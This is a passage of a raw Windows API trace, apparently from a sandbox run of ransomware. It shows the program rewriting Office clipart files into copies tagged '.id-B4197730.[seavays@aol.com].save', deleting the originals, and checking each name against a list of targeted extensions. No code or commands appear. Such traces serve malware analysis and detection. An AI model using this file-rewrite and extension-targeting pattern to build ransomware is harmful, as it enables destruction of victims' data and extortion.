lpNumberOfBytesRead=0x29efecc*=0x11b6, lpOverlapped=0x0) returned 1 [0194.581] WriteFile (in: hFile=0x370, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x11c0, lpOverlapped=0x0) returned 1 [0194.583] ReadFile (in: hFile=0x44c, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0194.583] WriteFile (in: hFile=0x370, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0194.583] SetEndOfFile (hFile=0x370) returned 1 [0194.584] CloseHandle (hObject=0x370) returned 1 [0194.585] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0194.585] SetEndOfFile (hFile=0x44c) returned 1 [0194.590] CloseHandle (hObject=0x44c) returned 1 [0194.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0194.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195254.wmf")) returned 1 [0194.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.592] lstrlenW (lpString=".doc") returned 4 [0194.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.593] lstrlenW (lpString=".docx") returned 5 [0194.593] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.593] lstrlenW (lpString=".pdf") returned 4 [0194.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.593] lstrlenW (lpString=".xls") returned 4 [0194.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.593] lstrlenW (lpString=".xlsx") returned 5 [0194.593] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.593] lstrlenW (lpString=".ppt") returned 4 [0194.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.593] lstrlenW (lpString=".zip") returned 4 [0194.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.593] lstrlenW (lpString=".rar") returned 4 [0194.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.593] lstrlenW (lpString=".bz2") returned 4 [0194.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.593] lstrlenW (lpString=".7z") returned 3 [0194.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.593] lstrlenW (lpString=".dbf") returned 4 [0194.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.593] lstrlenW (lpString=".1cd") returned 4 [0194.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.594] lstrlenW (lpString=".jpg") returned 4 [0194.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.594] lstrlenW (lpString=".doc") returned 4 [0194.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.594] lstrlenW (lpString=".docx") returned 5 [0194.594] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0194.594] lstrlenW (lpString=".pdf") returned 4 [0194.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.594] lstrlenW (lpString=".xls") returned 4 [0194.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.594] lstrlenW (lpString=".xlsx") returned 5 [0194.594] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0194.594] lstrlenW (lpString=".ppt") returned 4 [0194.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.594] lstrlenW (lpString=".zip") returned 4 [0194.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.594] lstrlenW (lpString=".rar") returned 4 [0194.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.595] lstrlenW (lpString=".bz2") returned 4 [0194.595] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.595] lstrlenW (lpString=".7z") returned 3 [0194.595] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.595] lstrlenW (lpString=".dbf") returned 4 [0194.595] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.595] lstrlenW (lpString=".1cd") returned 4 [0194.595] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195254.WMF") returned 68 [0194.595] lstrlenW (lpString=".jpg") returned 4 [0194.595] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.595] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0194.595] lstrlenW (lpString="J0195342.WMF") returned 12 [0194.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0194.708] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=21328) returned 1 [0194.708] CloseHandle (hObject=0x564) returned 1 [0194.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf")) returned 0x220 [0195.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0195.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0195.971] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0195.971] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0195.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0195.973] GetLastError () returned 0x0 [0195.973] ReadFile (in: hFile=0x488, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x5350, lpOverlapped=0x0) returned 1 [0195.975] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x5360, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x5360, lpOverlapped=0x0) returned 1 [0195.977] ReadFile (in: hFile=0x488, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0195.977] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0195.977] SetEndOfFile (hFile=0x51c) returned 1 [0195.977] CloseHandle (hObject=0x51c) returned 1 [0195.977] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0195.978] SetEndOfFile (hFile=0x488) returned 1 [0195.982] CloseHandle (hObject=0x488) returned 1 [0195.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0195.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0195342.wmf")) returned 1 [0195.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0195.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0195.984] lstrlenW (lpString=".doc") returned 4 [0195.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.984] lstrlenW (lpString=".docx") returned 5 [0195.984] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.984] lstrlenW (lpString=".pdf") returned 4 [0195.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.985] lstrlenW (lpString=".xls") returned 4 [0195.985] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.985] lstrlenW (lpString=".xlsx") returned 5 [0195.985] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.985] lstrlenW (lpString=".ppt") returned 4 [0195.985] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0195.985] lstrlenW (lpString=".zip") returned 4 [0195.985] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.985] lstrlenW (lpString=".rar") returned 4 [0195.985] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.985] lstrlenW (lpString=".bz2") returned 4 [0195.985] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.985] lstrlenW (lpString=".7z") returned 3 [0195.985] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0195.985] lstrlenW (lpString=".dbf") returned 4 [0195.985] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0195.985] lstrlenW (lpString=".1cd") returned 4 [0195.985] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0195342.WMF") returned 68 [0195.985] lstrlenW (lpString=".jpg") returned 4 [0195.985] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.987] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0195.987] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0195.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0195.988] GetLastError () returned 0x0 [0195.988] ReadFile (in: hFile=0x488, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x9d26, lpOverlapped=0x0) returned 1 [0195.992] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x9d30, lpOverlapped=0x0) returned 1 [0195.995] ReadFile (in: hFile=0x488, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0195.995] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0195.995] SetEndOfFile (hFile=0x51c) returned 1 [0195.995] CloseHandle (hObject=0x51c) returned 1 [0195.995] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0195.995] SetEndOfFile (hFile=0x488) returned 1 [0195.999] CloseHandle (hObject=0x488) returned 1 [0196.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197979.wmf")) returned 1 [0196.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0196.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0196.002] lstrlenW (lpString=".doc") returned 4 [0196.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.002] lstrlenW (lpString=".docx") returned 5 [0196.002] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0196.002] lstrlenW (lpString=".pdf") returned 4 [0196.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.002] lstrlenW (lpString=".xls") returned 4 [0196.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.002] lstrlenW (lpString=".xlsx") returned 5 [0196.002] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0196.002] lstrlenW (lpString=".ppt") returned 4 [0196.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0196.002] lstrlenW (lpString=".zip") returned 4 [0196.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.002] lstrlenW (lpString=".rar") returned 4 [0196.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.002] lstrlenW (lpString=".bz2") returned 4 [0196.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.002] lstrlenW (lpString=".7z") returned 3 [0196.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0196.002] lstrlenW (lpString=".dbf") returned 4 [0196.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0196.003] lstrlenW (lpString=".1cd") returned 4 [0196.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197979.WMF") returned 68 [0196.003] lstrlenW (lpString=".jpg") returned 4 [0196.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.615] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0196.615] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0196.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0196.617] GetLastError () returned 0x0 [0196.617] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x668c, lpOverlapped=0x0) returned 1 [0196.620] WriteFile (in: hFile=0x370, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x6690, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x6690, lpOverlapped=0x0) returned 1 [0196.622] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0196.622] WriteFile (in: hFile=0x370, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0196.622] SetEndOfFile (hFile=0x370) returned 1 [0196.622] CloseHandle (hObject=0x370) returned 1 [0196.622] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0196.622] SetEndOfFile (hFile=0x538) returned 1 [0196.628] CloseHandle (hObject=0x538) returned 1 [0196.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0196.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0197983.wmf")) returned 1 [0196.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0196.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0196.634] lstrlenW (lpString=".doc") returned 4 [0196.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.634] lstrlenW (lpString=".docx") returned 5 [0196.634] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0196.634] lstrlenW (lpString=".pdf") returned 4 [0196.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.635] lstrlenW (lpString=".xls") returned 4 [0196.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.635] lstrlenW (lpString=".xlsx") returned 5 [0196.635] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0196.635] lstrlenW (lpString=".ppt") returned 4 [0196.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0196.635] lstrlenW (lpString=".zip") returned 4 [0196.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.635] lstrlenW (lpString=".rar") returned 4 [0196.635] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.635] lstrlenW (lpString=".bz2") returned 4 [0196.635] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.635] lstrlenW (lpString=".7z") returned 3 [0196.635] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0196.635] lstrlenW (lpString=".dbf") returned 4 [0196.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0196.635] lstrlenW (lpString=".1cd") returned 4 [0196.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0197983.WMF") returned 68 [0196.635] lstrlenW (lpString=".jpg") returned 4 [0196.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.637] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0196.638] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0196.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198016.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0196.639] GetLastError () returned 0x0 [0196.639] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x849c, lpOverlapped=0x0) returned 1 [0196.643] WriteFile (in: hFile=0x370, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x84a0, lpOverlapped=0x0) returned 1 [0196.645] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0196.645] WriteFile (in: hFile=0x370, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0196.645] SetEndOfFile (hFile=0x370) returned 1 [0196.645] CloseHandle (hObject=0x370) returned 1 [0196.645] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0196.645] SetEndOfFile (hFile=0x538) returned 1 [0196.895] CloseHandle (hObject=0x538) returned 1 [0196.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0198016.wmf")) returned 1 [0197.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0197.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0197.868] lstrlenW (lpString=".doc") returned 4 [0197.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.868] lstrlenW (lpString=".docx") returned 5 [0197.868] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.868] lstrlenW (lpString=".pdf") returned 4 [0197.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.868] lstrlenW (lpString=".xls") returned 4 [0197.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.868] lstrlenW (lpString=".xlsx") returned 5 [0197.868] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.868] lstrlenW (lpString=".ppt") returned 4 [0197.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0197.868] lstrlenW (lpString=".zip") returned 4 [0197.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.868] lstrlenW (lpString=".rar") returned 4 [0197.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.869] lstrlenW (lpString=".bz2") returned 4 [0197.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.869] lstrlenW (lpString=".7z") returned 3 [0197.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0197.869] lstrlenW (lpString=".dbf") returned 4 [0197.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0198016.WMF") returned 68 [0197.869] 